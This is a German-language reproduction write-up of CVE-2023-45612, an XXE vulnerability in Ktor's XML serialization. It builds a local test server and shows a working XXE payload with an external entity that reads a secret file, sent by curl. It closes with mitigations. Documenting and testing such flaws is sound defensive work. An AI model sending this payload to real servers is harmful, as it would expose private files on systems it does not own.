
Reproduktion eines Sicherheitsproblems mit hohem Schweregrad, das XXE-Angriffe (XML eXternal Entity) auf Ktors XML-Serialisierung ermöglicht.
CVE-2023-45612 ist ein Sicherheitsproblem mit hohem Schweregrad, das XXE-Angriffe (XML eXternal Entity) auf die XML-Serialisierung von Ktor ermöglicht und 2023 gepatcht wurde.
Im Folgenden wird detailliert beschrieben, wie ich das Problem reproduziert habe.
Zuerst benötigen wir einen Server, der die XML-Dateien verarbeitet. Wir erstellen ein Kotlin-Projekt in IntelliJ IDEA und modifizieren die build.gradle.kts, um die benötigten Ktor-Abhängigkeiten und das Serialisierungs-Plugin zu verwenden. io.ktor:ktor-serialization-kotlinx-xml ist die Abhängigkeit, die uns interessiert. Version 2.3.4 ist die anfällige, Version 2.3.5 die gepatchte.
Dann fügen wir im Projektstamm eine Datei namens sensitive_infos.txt hinzu, die privat und von außerhalb des Servers nicht zugänglich sein soll. Der Inhalt dieser Datei lautet: "This informations should be secret and not accessible by sending a .xmf file.".
Anschließend implementieren wir den Server in Main.kt. Er ist so ausgelegt, dass er das vom Client gesendete XML verarbeitet, indem er es in einen String (name) der Klasse Person serialisiert. Dann antwortet der Server mit einer Bestätigung des Namens, den der Client gerade gesendet hat. Nach dem Starten des Servers können wir die normale und die bösartige Verwendung testen:
Der Client sendet eine XML-Datei mit seinem Namen und erhält eine Bestätigung mit dem gerade gesendeten Namen. Dies können wir mit folgender XML-Datei testen:
<?xml version="1.0" encoding="UTF-8"?>
<manifest xmlns="http://example.com/">
<name>Clément</name>
</manifest>
und dem Befehl:
curl -X POST http://localhost:8080/process -H "Content-Type: application/xml" -d @data.xml
Der Client definiert eine Entität, indem er einen Ersetzungsstring in Form einer URI bereitstellt und sendet die bösartige XML-Datei. Dann erhält er den Inhalt einer geheimen Datei, auf die der Server Zugriff hat. Ich zeige unten ein Beispiel mit einer Datei (sensitive_infos.txt), die sich im Stammverzeichnis des Servers befindet. Beachten Sie jedoch, dass Sie möglicherweise auch andere Dateien erreichen könnten (sofern der XML-Parser auf deren Inhalt zugreifen kann), z. B. mit file:///, wenn der Server unter Linux läuft.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY exploit SYSTEM "sensitive_infos.txt">
]>
<manifest xmlns="http://example.com/">
<name>&exploit;</name>
</manifest>
und dem Befehl
curl -X POST http://localhost:8080/process -H "Content-Type: application/xml" -d @xxe.xml
Der Server antwortet mit "Name sent: This informations should be secret and not accessible by sending a .xmf file.", was beweist, dass wir tatsächlich auf die geheimen Informationen zugegriffen haben und somit eine Sicherheitslücke besteht.
Übrigens: Wenn man in der build.gradle.kts die Version von 2.3.4 auf 2.3.5 ändert, wird das Problem behoben und der Server antwortet bei bösartiger Eingabe nur mit "Name sent", während die normale Antwort für normale Eingaben erhalten bleibt. Dies bestätigt uns, dass das Sicherheitsproblem in Version 2.3.5 behoben wurde.
Vertraue niemals dem Benutzer! Der Ktor-Parser könnte Eingaben bereinigen, indem er beispielsweise alle XML-Eingabedateien verwirft, die eine Entität enthalten.
Weniger restriktiv für den Benutzer: Ktor könnte externe Entitäten standardmäßig deaktivieren, indem es die Funktionen external-general-entities und external-parameter-entities auf false setzt, sodass der Benutzer zwar noch eine Entität in seiner XML-Datei deklarieren kann, diese Entität aber nicht mehr auf externe Ressourcen zugreifen kann.
XXE-Angriffstests in die CI/CD von Ktor einbinden, um sicherzustellen, dass der Code nicht dafür anfällig ist.